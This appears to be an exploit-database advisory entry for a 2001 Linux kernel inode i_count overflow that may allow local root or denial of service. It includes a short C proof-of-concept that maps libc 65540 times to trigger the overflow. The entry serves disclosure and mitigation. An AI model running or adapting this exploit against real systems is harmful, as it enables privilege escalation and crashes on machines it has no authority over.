vendor:
Linux Kernel
by:
SecurityFocus
7.2
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Linux Kernel
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2001
Linux Inode Structure Overflow
The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service. Below is a short example of how this vulnerability can be exploited: #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> void main() { int fd, i; fd = open("/lib/libc.so.5", O_RDONLY); for(i = 0; i < 65540; i++) { mmap((char*)0x50000000 + (0x1000 * i), 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0); } }
Mitigation:
Apply the latest security patches and updates to the system.
